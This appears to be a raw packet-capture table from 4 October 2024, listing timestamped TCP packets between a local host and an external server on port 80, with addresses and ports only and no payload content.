Oct 4, 2024 15:53:45.880501032 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.880511045 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.880518913 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.880522966 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.880537033 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.880558014 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.880578041 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.880657911 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.880707979 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.880749941 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.880760908 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.880772114 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.880781889 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.880798101 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.880829096 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.880841970 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.880853891 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.880863905 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.880875111 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.880884886 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.880894899 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.880896091 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.880907059 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.880918026 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.880928993 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.880942106 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.880980968 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.880980968 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.881227016 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.881238937 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.881248951 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.881279945 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.881304979 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.881381035 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.881392956 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.881403923 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.881413937 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.881427050 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.881436110 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.881437063 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.881448984 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.881458044 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.881477118 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.881480932 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.881496906 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.881499052 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.881510973 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.881520987 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.881532907 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.881536961 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.881541967 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.881552935 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.881563902 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.881572962 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.881577015 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.881583929 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.881592989 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.881597042 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.881609917 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.881624937 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.881653070 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.882116079 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.882128954 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.882139921 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.882149935 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.882160902 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.882170916 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.882173061 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.882183075 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.882195950 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.882200003 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.882210970 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.882231951 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.882256031 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.882426977 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.882438898 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.882455111 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.882464886 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.882474899 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.882477999 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.882486105 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.882496119 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.882505894 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.882512093 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.882518053 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.882529020 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.882533073 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.882550955 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.882577896 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.882945061 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.882956982 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.882966995 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.882977009 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.882987976 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.882997036 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.882999897 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.883008003 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.883018017 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.883019924 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.883028984 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.883038998 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.883039951 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.883049965 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.883063078 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.883073092 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.883085012 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.883094072 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.883095026 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.883105993 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.883111954 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.883131981 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.883150101 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.883562088 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.883574963 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.883584023 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.883594036 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.883604050 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.883615017 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.883615971 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.883625031 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.883635998 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.883646011 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.883651972 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.883660078 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.883661985 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.883673906 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.883683920 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.883683920 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.883703947 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.883706093 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.883713007 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.883728981 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.883754969 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.884815931 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.884841919 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.884867907 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.884881973 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.884886026 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.884932995 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.884933949 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.884948015 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.884987116 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.885005951 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.885018110 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.885055065 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.885062933 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.885073900 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.885086060 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.885113001 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.885128021 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.885143995 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.885190964 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.885214090 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.885226011 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.885236979 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.885247946 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.885257959 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.885265112 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.885298967 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.885354042 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.885365963 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.885401964 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.885404110 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.885436058 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.885447979 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.885481119 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.885515928 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.885526896 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.885538101 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.885543108 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.885549068 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.885555983 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.885605097 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.885639906 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.885652065 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.885689020 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.885732889 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.885745049 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.885777950 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.885798931 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.885838032 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.885849953 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.885855913 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.885867119 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.885879040 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.885901928 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.885931015 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.885958910 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.886004925 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.886085033 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.886096954 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.886107922 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.886118889 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.886128902 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.886137009 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.886141062 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.886152029 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.886163950 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.886168957 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.886174917 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.886193037 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.886214972 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.886297941 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.886311054 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.886321068 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.886351109 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.886379004 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.886440039 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.886451960 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.886461020 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.886471987 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.886487961 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.886488914 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.886508942 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.886518002 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.886522055 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.886532068 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.886535883 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.886543989 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.886553049 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.886564970 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.886569977 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.886575937 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.886620045 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.886620045 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.886785984 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.886796951 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.886807919 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.886816978 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.886827946 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.886837959 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.886868954 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.887037992 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.887049913 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.887059927 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.887070894 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.887082100 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.887089014 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.887093067 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.887104988 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.887110949 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.887115002 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.887125969 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.887135029 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.887135983 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.887149096 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.887157917 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.887159109 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.887171984 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.887181997 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.887207985 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.887226105 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.887382030 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.887403011 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.887420893 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.887430906 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.887442112 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.887443066 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.887451887 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.887461901 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.887469053 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.887473106 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.887485027 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.887491941 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.887495041 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.887506008 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.887511969 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.887531996 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.887550116 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.887731075 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.887741089 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.887751102 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.887761116 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.887772083 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.887782097 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.887782097 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.887793064 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.887803078 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.887814045 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.887814045 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.887828112 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.887837887 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.887859106 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.972198009 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.972223997 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.972234011 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.972251892 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.972261906 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.972274065 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.972285986 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.972429037 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.972556114 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.972656965 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.972672939 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.972683907 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.972692966 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.972703934 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.972707033 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.972716093 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.972726107 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.972739935 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.972739935 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.972757101 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.972768068 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.972776890 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.972786903 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.972788095 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.972800016 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.972811937 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.972820997 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.972872972 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.972872972 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.972896099 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.972907066 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.972918987 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.972928047 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.972940922 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.972979069 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.973090887 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.973103046 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.973113060 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.973124027 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.973134041 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.973143101 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.973145962 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.973157883 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.973170042 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.973191977 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.973232031 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:45.973380089 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.973391056 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.973403931 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:45.973432064 CEST	49781	80	192.168.2.10	147.45.44.104
